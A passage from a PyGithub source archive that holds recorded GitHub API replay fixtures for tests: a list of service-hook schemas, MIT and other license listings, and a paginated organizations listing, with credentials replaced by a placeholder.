,"events":["push"],"supported_events":["push"]},{"name":"slatebox","schema":[["string","app_id"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"snowyevening","schema":[["string","project"],["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"socialcast","schema":[["string","api_domain"],["string","group_id"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"sourcemint","schema":[],"events":["push"],"supported_events":["push"]},{"name":"splendidbacon","schema":[["string","project_id"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"sqsqueue","schema":[["string","aws_access_key"],["string","sqs_queue_name"],["password","aws_secret_key"]],"events":["push"],"supported_events":["push"]},{"name":"stackmob","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"statusnet","schema":[["string","server"],["string","username"],["password","password"],["boolean","digest"]],"events":["push"],"supported_events":["push"]},{"name":"talker","schema":[["string","url"],["string","token"],["boolean","digest"]],"events":["push"],"supported_events":["issues","pull_request","push"]},{"name":"targetprocess","schema":[["string","base_url"],["string","username"],["string","project_id"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"teamcity","schema":[["string","base_url"],["string","build_type_id"],["string","username"],["string","branches"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"tender","schema":[["string","domain"],["string","token"]],"events":["issues"],"supported_events":["issues","pull_request"]},{"name":"testpilot","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"toggl","schema":[["string","project"],["string","api_token"]],"events":["push"],"supported_events":["push"]},{"name":"trac","schema":[["string","url"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"trajectory","schema":[["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"travis","schema":[["string","user"],["string","token"],["string","domain"]],"events":["push","pull_request","issue_comment","public","member"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"trello","schema":[["string","list_id"],["string","ignore_regex"],["boolean","master_only"],["password","consumer_token"]],"events":["push"],"supported_events":["push"]},{"name":"twilio","schema":[["string","account_sid"],["string","from_phone"],["string","to_phone"],["boolean","master_only"],["password","auth_token"]],"events":["push"],"supported_events":["push"]},{"name":"twitter","schema":[["string","token"],["string","secret"],["boolean","digest"],["boolean","short_format"]],"events":["push"],"supported_events":["push"]},{"name":"unfuddle","schema":[["string","subdomain"],["string","repo_id"],["string","username"],["password","password"],["boolean","httponly"]],"events":["push"],"supported_events":["push"]},{"name":"web","schema":[["string","url"],["string","secret"],["string","content_type"],["boolean","insecure_ssl"]],"events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"webtranslateit","schema":[["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"yammer","schema":[["string","group_id"],["string","consumer_key"],["string","consumer_secret"],["string","access_token"],["string","access_secret"],["boolean","digest"]],"events":["push"],"supported_events":["push"]},{"name":"youtrack","schema":[["string","base_url"],["string","committers"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"zendesk","schema":[["string","subdomain"],["string","username"],["password","password"]],"events":["commit_comment","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"zohoprojects","schema":[["string","project_id"],["string","token"]],"events":["push"],"supported_events":["push"]}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetLicense.txt0000644000175100001660000000652414756101563023071 0ustar00runnerdockerhttps GET api.github.com None /licenses/mit {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1927'), ('x-runtime-rack', '0.023326'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"9f803324f4a6fde118084a597a68c1c5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4547'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DC94:787A:D084B:115523:5AB31F73'), ('date', 'Thu, 22 Mar 2018 03:13:55 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521689363')] {"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","html_url":"http://choosealicense.com/licenses/mit/","description":"A short and simple permissive license with conditions only requiring preservation of copyright and license notices. Licensed works, modifications, and larger works may be distributed under different terms and without source code.","implementation":"Create a text file (typically named LICENSE or LICENSE.txt) in the root of your source code and copy the text of the license into the file. Replace [year] with the current year and [fullname] with the name (or names) of the copyright holders.","permissions":["commercial-use","modifications","distribution","private-use"],"conditions":["include-copyright"],"limitations":["liability","warranty"],"body":"MIT License\n\nCopyright (c) [year] [fullname]\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n","featured":true} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetLicenses.txt0000644000175100001660000000572114756101563023252 0ustar00runnerdockerhttps GET api.github.com None /licenses {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1543'), ('x-runtime-rack', '0.040183'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"b9d714e3df8772ff61153bc7dc0bf3f2"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4590'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DC7A:6254:1948EA:20C9C9:5AB31E12'), ('date', 'Thu, 22 Mar 2018 03:08:02 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521689363')] [{"key":"gpl-3.0","name":"GNU General Public License v3.0","spdx_id":"GPL-3.0","url":"https://api.github.com/licenses/gpl-3.0"},{"key":"bsd-2-clause","name":"BSD 2-Clause \"Simplified\" License","spdx_id":"BSD-2-Clause","url":"https://api.github.com/licenses/bsd-2-clause"},{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit"},{"key":"lgpl-2.1","name":"GNU Lesser General Public License v2.1","spdx_id":"LGPL-2.1","url":"https://api.github.com/licenses/lgpl-2.1"},{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0"},{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0"},{"key":"mpl-2.0","name":"Mozilla Public License 2.0","spdx_id":"MPL-2.0","url":"https://api.github.com/licenses/mpl-2.0"},{"key":"bsd-3-clause","name":"BSD 3-Clause \"New\" or \"Revised\" License","spdx_id":"BSD-3-Clause","url":"https://api.github.com/licenses/bsd-3-clause"},{"key":"unlicense","name":"The Unlicense","spdx_id":"Unlicense","url":"https://api.github.com/licenses/unlicense"},{"key":"agpl-3.0","name":"GNU Affero General Public License v3.0","spdx_id":"AGPL-3.0","url":"https://api.github.com/licenses/agpl-3.0"},{"key":"epl-2.0","name":"Eclipse Public License 2.0","spdx_id":"EPL-2.0","url":"https://api.github.com/licenses/epl-2.0"},{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetOrganizations.txt0000644000175100001660000004360114756101563024333 0ustar00runnerdockerhttps GET api.github.com None /organizations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '16820'), ('x-runtime-rack', '0.060304'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', ''), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"d0e406262ee703e24070ef22399c6529"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4980'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '65E2:468F:1E6478:271827:5ACE9AFB'), ('link', '; rel="next", ; rel="first"'), ('date', 'Wed, 11 Apr 2018 23:32:12 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1523492466')] [{"login":"errfree","id":44,"url":"https://api.github.com/orgs/errfree","repos_url":"https://api.github.com/orgs/errfree/repos","events_url":"https://api.github.com/orgs/errfree/events","hooks_url":"https://api.github.com/orgs/errfree/hooks","issues_url":"https://api.github.com/orgs/errfree/issues","members_url":"https://api.github.com/orgs/errfree/members{/member}","public_members_url":"https://api.github.com/orgs/errfree/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/44?v=4","description":null},{"login":"engineyard","id":81,"url":"https://api.github.com/orgs/engineyard","repos_url":"https://api.github.com/orgs/engineyard/repos","events_url":"https://api.github.com/orgs/engineyard/events","hooks_url":"https://api.github.com/orgs/engineyard/hooks","issues_url":"https://api.github.com/orgs/engineyard/issues","members_url":"https://api.github.com/orgs/engineyard/members{/member}","public_members_url":"https://api.github.com/orgs/engineyard/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/81?v=4","description":""},{"login":"ministrycentered","id":119,"url":"https://api.github.com/orgs/ministrycentered","repos_url":"https://api.github.com/orgs/ministrycentered/repos","events_url":"https://api.github.com/orgs/ministrycentered/events","hooks_url":"https://api.github.com/orgs/ministrycentered/hooks","issues_url":"https://api.github.com/orgs/ministrycentered/issues","members_url":"https://api.github.com/orgs/ministrycentered/members{/member}","public_members_url":"https://api.github.com/orgs/ministrycentered/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/119?v=4","description":""},{"login":"collectiveidea","id":128,"url":"https://api.github.com/orgs/collectiveidea","repos_url":"https://api.github.com/orgs/collectiveidea/repos","events_url":"https://api.github.com/orgs/collectiveidea/events","hooks_url":"https://api.github.com/orgs/collectiveidea/hooks","issues_url":"https://api.github.com/orgs/collectiveidea/issues","members_url":"https://api.github.com/orgs/collectiveidea/members{/member}","public_members_url":"https://api.github.com/orgs/collectiveidea/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/128?v=4","description":"We build software to solve real problems."},{"login":"ogc","id":144,"url":"https://api.github.com/orgs/ogc","repos_url":"https://api.github.com/orgs/ogc/repos","events_url":"https://api.github.com/orgs/ogc/events","hooks_url":"https://api.github.com/orgs/ogc/hooks","issues_url":"https://api.github.com/orgs/ogc/issues","members_url":"https://api.github.com/orgs/ogc/members{/member}","public_members_url":"https://api.github.com/orgs/ogc/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/144?v=4","description":null},{"login":"sevenwire","id":150,"url":"https://api.github.com/orgs/sevenwire","repos_url":"https://api.github.com/orgs/sevenwire/repos","events_url":"https://api.github.com/orgs/sevenwire/events","hooks_url":"https://api.github.com/orgs/sevenwire/hooks","issues_url":"https://api.github.com/orgs/sevenwire/issues","members_url":"https://api.github.com/orgs/sevenwire/members{/member}","public_members_url":"https://api.github.com/orgs/sevenwire/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/150?v=4","description":""},{"login":"entryway","id":167,"url":"https://api.github.com/orgs/entryway","repos_url":"https://api.github.com/orgs/entryway/repos","events_url":"https://api.github.com/orgs/entryway/events","hooks_url":"https://api.github.com/orgs/entryway/hooks","issues_url":"https://api.github.com/orgs/entryway/issues","members_url":"https://api.github.com/orgs/entryway/members{/member}","public_members_url":"https://api.github.com/orgs/entryway/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/167?v=4","description":""},{"login":"merb","id":264,"url":"https://api.github.com/orgs/merb","repos_url":"https://api.github.com/orgs/merb/repos","events_url":"https://api.github.com/orgs/merb/events","hooks_url":"https://api.github.com/orgs/merb/hooks","issues_url":"https://api.github.com/orgs/merb/issues","members_url":"https://api.github.com/orgs/merb/members{/member}","public_members_url":"https://api.github.com/orgs/merb/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/264?v=4","description":null},{"login":"moneyspyder","id":359,"url":"https://api.github.com/orgs/moneyspyder","repos_url":"https://api.github.com/orgs/moneyspyder/repos","events_url":"https://api.github.com/orgs/moneyspyder/events","hooks_url":"https://api.github.com/orgs/moneyspyder/hooks","issues_url":"https://api.github.com/orgs/moneyspyder/issues","members_url":"https://api.github.com/orgs/moneyspyder/members{/member}","public_members_url":"https://api.github.com/orgs/moneyspyder/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/359?v=4","description":null},{"login":"sproutit","id":374,"url":"https://api.github.com/orgs/sproutit","repos_url":"https://api.github.com/orgs/sproutit/repos","events_url":"https://api.github.com/orgs/sproutit/events","hooks_url":"https://api.github.com/orgs/sproutit/hooks","issues_url":"https://api.github.com/orgs/sproutit/issues","members_url":"https://api.github.com/orgs/sproutit/members{/member}","public_members_url":"https://api.github.com/orgs/sproutit/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/374?v=4","description":null},{"login":"wrenchlabs","id":489,"url":"https://api.github.com/orgs/wrenchlabs","repos_url":"https://api.github.com/orgs/wrenchlabs/repos","events_url":"https://api.github.com/orgs/wrenchlabs/events","hooks_url":"https://api.github.com/orgs/wrenchlabs/hooks","issues_url":"https://api.github.com/orgs/wrenchlabs/issues","members_url":"https://api.github.com/orgs/wrenchlabs/members{/member}","public_members_url":"https://api.github.com/orgs/wrenchlabs/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/489?v=4","description":null},{"login":"ipvideomarketinfo","id":555,"url":"https://api.github.com/orgs/ipvideomarketinfo","repos_url":"https://api.github.com/orgs/ipvideomarketinfo/repos","events_url":"https://api.github.com/orgs/ipvideomarketinfo/events","hooks_url":"https://api.github.com/orgs/ipvideomarketinfo/hooks","issues_url":"https://api.github.com/orgs/ipvideomarketinfo/issues","members_url":"https://api.github.com/orgs/ipvideomarketinfo/members{/member}","public_members_url":"https://api.github.com/orgs/ipvideomarketinfo/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/555?v=4","description":""},{"login":"revelation","id":728,"url":"https://api.github.com/orgs/revelation","repos_url":"https://api.github.com/orgs/revelation/repos","events_url":"https://api.github.com/orgs/revelation/events","hooks_url":"https://api.github.com/orgs/revelation/hooks","issues_url":"https://api.github.com/orgs/revelation/issues","members_url":"https://api.github.com/orgs/revelation/members{/member}","public_members_url":"https://api.github.com/orgs/revelation/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/728?v=4","description":""},{"login":"railslove","id":1067,"url":"https://api.github.com/orgs/railslove","repos_url":"https://api.github.com/orgs/railslove/repos","events_url":"https://api.github.com/orgs/railslove/events","hooks_url":"https://api.github.com/orgs/railslove/hooks","issues_url":"https://api.github.com/orgs/railslove/issues","members_url":"https://api.github.com/orgs/railslove/members{/member}","public_members_url":"https://api.github.com/orgs/railslove/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/1067?v=4","description":"We're an agile team building new products for the web. And oh boy, we're kind of good at it. Want to work with us?"},{"login":"railsdog","id":1119,"url":"https://api.github.com/orgs/railsdog","repos_url":"https://api.github.com/orgs/railsdog/repos","events_url":"https://api.github.com/orgs/railsdog/events","hooks_url":"https://api.github.com/orgs/railsdog/hooks","issues_url":"https://api.github.com/orgs/railsdog/issues","members_url":"https://api.github.com/orgs/railsdog/members{/member}","public_members_url":"https://api.github.com/orgs/railsdog/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/1119?v=4","description":"Leading Spree Commerce Integration Partner"},{"login":"netguru","id":1146,"url":"https://api.github.com/orgs/netguru","repos_url":"https://api.github.com/orgs/netguru/repos","events_url":"https://api.github.com/orgs/netguru/events","hooks_url":"https://api.github.com/orgs/netguru/hooks","issues_url":"https://api.github.com/orgs/netguru/issues","members_url":"https://api.github.com/orgs/netguru/members{/member}","public_members_url":"https://api.github.com/orgs/netguru/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1146?v=4","description":"Ruby on Rails and mobile development house"},{"login":"webhostio","id":1147,"url":"https://api.github.com/orgs/webhostio","repos_url":"https://api.github.com/orgs/webhostio/repos","events_url":"https://api.github.com/orgs/webhostio/events","hooks_url":"https://api.github.com/orgs/webhostio/hooks","issues_url":"https://api.github.com/orgs/webhostio/issues","members_url":"https://api.github.com/orgs/webhostio/members{/member}","public_members_url":"https://api.github.com/orgs/webhostio/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1147?v=4","description":null},{"login":"animikii","id":1190,"url":"https://api.github.com/orgs/animikii","repos_url":"https://api.github.com/orgs/animikii/repos","events_url":"https://api.github.com/orgs/animikii/events","hooks_url":"https://api.github.com/orgs/animikii/hooks","issues_url":"https://api.github.com/orgs/animikii/issues","members_url":"https://api.github.com/orgs/animikii/members{/member}","public_members_url":"https://api.github.com/orgs/animikii/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/1190?v=4","description":""},{"login":"sauspiel","id":1511,"url":"https://api.github.com/orgs/sauspiel","repos_url":"https://api.github.com/orgs/sauspiel/repos","events_url":"https://api.github.com/orgs/sauspiel/events","hooks_url":"https://api.github.com/orgs/sauspiel/hooks","issues_url":"https://api.github.com/orgs/sauspiel/issues","members_url":"https://api.github.com/orgs/sauspiel/members{/member}","public_members_url":"https://api.github.com/orgs/sauspiel/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1511?v=4","description":""},{"login":"wherecloud","id":1849,"url":"https://api.github.com/orgs/wherecloud","repos_url":"https://api.github.com/orgs/wherecloud/repos","events_url":"https://api.github.com/orgs/wherecloud/events","hooks_url":"https://api.github.com/orgs/wherecloud/hooks","issues_url":"https://api.github.com/orgs/wherecloud/issues","members_url":"https://api.github.com/orgs/wherecloud/members{/member}","public_members_url":"https://api.github.com/orgs/wherecloud/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/1849?v=4","description":""},{"login":"triveos","id":1928,"url":"https://api.github.com/orgs/triveos","repos_url":"https://api.github.com/orgs/triveos/repos","events_url":"https://api.github.com/orgs/triveos/events","hooks_url":"https://api.github.com/orgs/triveos/hooks","issues_url":"https://api.github.com/orgs/triveos/issues","members_url":"https://api.github.com/orgs/triveos/members{/member}","public_members_url":"https://api.github.com/orgs/triveos/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/1928?v=4","description":null},{"login":"lincolnloop","id":1964,"url":"https://api.github.com/orgs/lincolnloop","repos_url":"https://api.github.com/orgs/lincolnloop/repos","events_url":"https://api.github.com/orgs/lincolnloop/events","hooks_url":"https://api.github.com/orgs/lincolnloop/hooks","issues_url":"https://api.github.com/orgs/lincolnloop/issues","members_url":"https://api.github.com/orgs/lincolnloop/members{/member}","public_members_url":"https://api.github.com/orgs/lincolnloop/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1964?v=4","description":"Makers of high performance web applications."},{"login":"notch8","id":2084,"url":"https://api.github.com/orgs/notch8","repos_url":"https://api.github.com/orgs/notch8/repos","events_url":"https://api.github.com/orgs/notch8/events","hooks_url":"https://api.github.com/orgs/notch8/hooks","issues_url":"https://api.github.com/orgs/notch8/issues","members_url":"https://api.github.com/orgs/notch8/members{/member}","public_members_url":"https://api.github.com/orgs/notch8/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/2084?v=4","description":""},{"login":"edgecase","id":2309,"url":"https://api.github.com/orgs/edgecase","repos_url":"https://api.github.com/orgs/edgecase/repos","events_url":"https://api.github.com/orgs/edgecase/events","hooks_url":"https://api.github.com/orgs/edgecase/hooks","issues_url":"https://api.github.com/orgs/edgecase/issues","members_url":"https://api.github.com/orgs/edgecase/members{/member}","public_members_url":"https://api.github.com/orgs/edgecase/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/2309?v=4","description":""},{"login":"galaxycats","id":2548,"url":"https://api.github.com/orgs/galaxycats","repos_url":"https://api.github.com/orgs/galaxycats/repos","events_url":"https://api.github.com/orgs/galaxycats/events","hooks_url":"https://api.github.com/orgs/galaxycats/hooks","issues_url":"https://api.github.com/orgs/galaxycats/issues","members_url":"https://api.github.com/orgs/galaxycats/members{/member}","public_members_url":"https://api.github.com/orgs/galaxycats/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/2548?v=4","description":""},{"login":"standout","id":2595,"url":"https://api.github.com/orgs/standout","repos_url":"https://api.github.com/orgs/standout/repos","events_url":"https://api.github.com/orgs/standout/events","hooks_url":"https://api.github.com/orgs/standout/hooks","issues_url":"https://api.github.com/orgs/standout/issues","members_url":"https://api.github.com/orgs/standout/members{/member}","public_members_url":"https://api.github.com/orgs/standout/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/2595?v=4","description":null},{"login":"trabian","id":2705,"url":"https://api.github.com/orgs/trabian","repos_url":"https://api.github.com/orgs/trabian/repos","events_url":"https://api.github.com/orgs/trabian/events","hooks_url":"https://api.github.com/orgs/trabian/hooks","issues_url":"https://api.github.com/orgs/trabian/issues","members_url":"https://api.github.com/orgs/trabian/members{/member}","public_members_url":"https://api.github.com/orgs/trabian/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/2705?v=4","description":""},{"login":"wesabe","id":2842,"url":"https://api.github.com/orgs/wesabe","repos_url":"https://api.github.com/orgs/wesabe/repos","events_url":"https://api.github.com/orgs/wesabe/events","hooks_url":"https://api.github.com/orgs/wesabe/hooks","issues_url":"https://api.github.com/orgs/wesabe/issues","members_url":"https://api.github.com/orgs/wesabe/members{/member}","public_members_url":"https://api.github.com/orgs/wesabe/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/2842?v=4","description":null},{"login":"orgsync","id":2925,"url":"https://api.github.com/orgs/orgsync","repos_url":"https://api.github.com/orgs/orgsync/repos","events_url":"https://api.github.com/orgs/orgsync/events","hooks_url":"https://api.github.com/orgs/orgsync/hooks","issues_url":"https://api.github.com/orgs/orgsync/issues","members_url":"https://api.github.com/orgs/orgsync/members{/member}","public_members_url":"https://api.github.com/orgs/orgsync/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/2925?v=4","description":""},{"login":"UntoThisLast","id":3043,"url":"https://api.github.com/orgs/UntoThisLast","repos_url":"https://api.github.com/orgs/UntoThisLast/repos","events_url":"https://api.github.com/orgs/UntoThisLast/events","hooks_url":"https://api.github.com/orgs/UntoThisLast/hooks","issues_url":"https://api.github.com/orgs/UntoThisLast/issues","members_url":"https://api.github.com/orgs/UntoThisLast/members{/member}","public_members_url":"https://api.github.com/orgs/UntoThisLast/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/3043?v=4","description":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetOrganizationsSince.txt0000644000175100001660000004372014756101563025317 0ustar00runnerdockerhttps GET api.github.com None /organizations?since=1000 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '16888'), ('x-runtime-rack', '0.056225'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', ''), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"91b42438bd7b25d9cd3f614fe517488a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '626D:4691:2414DE:2E1FED:5ACE9B5F'), ('link', '; rel="next", ; rel="first"'), ('date', 'Wed, 11 Apr 2018 23:33:51 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1523492466')] [{"login":"railslove","id":1067,"url":"https://api.github.com/orgs/railslove","repos_url":"https://api.github.com/orgs/railslove/repos","events_url":"https://api.github.com/orgs/railslove/events","hooks_url":"https://api.github.com/orgs/railslove/hooks","issues_url":"https://api.github.com/orgs/railslove/issues","members_url":"https://api.github.com/orgs/railslove/members{/member}","public_members_url":"https://api.github.com/orgs/railslove/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/1067?v=4","description":"We're an agile team building new products for the web. And oh boy, we're kind of good at it. Want to work with us?"},{"login":"railsdog","id":1119,"url":"https://api.github.com/orgs/railsdog","repos_url":"https://api.github.com/orgs/railsdog/repos","events_url":"https://api.github.com/orgs/railsdog/events","hooks_url":"https://api.github.com/orgs/railsdog/hooks","issues_url":"https://api.github.com/orgs/railsdog/issues","members_url":"https://api.github.com/orgs/railsdog/members{/member}","public_members_url":"https://api.github.com/orgs/railsdog/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/1119?v=4","description":"Leading Spree Commerce Integration Partner"},{"login":"netguru","id":1146,"url":"https://api.github.com/orgs/netguru","repos_url":"https://api.github.com/orgs/netguru/repos","events_url":"https://api.github.com/orgs/netguru/events","hooks_url":"https://api.github.com/orgs/netguru/hooks","issues_url":"https://api.github.com/orgs/netguru/issues","members_url":"https://api.github.com/orgs/netguru/members{/member}","public_members_url":"https://api.github.com/orgs/netguru/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1146?v=4","description":"Ruby on Rails and mobile development 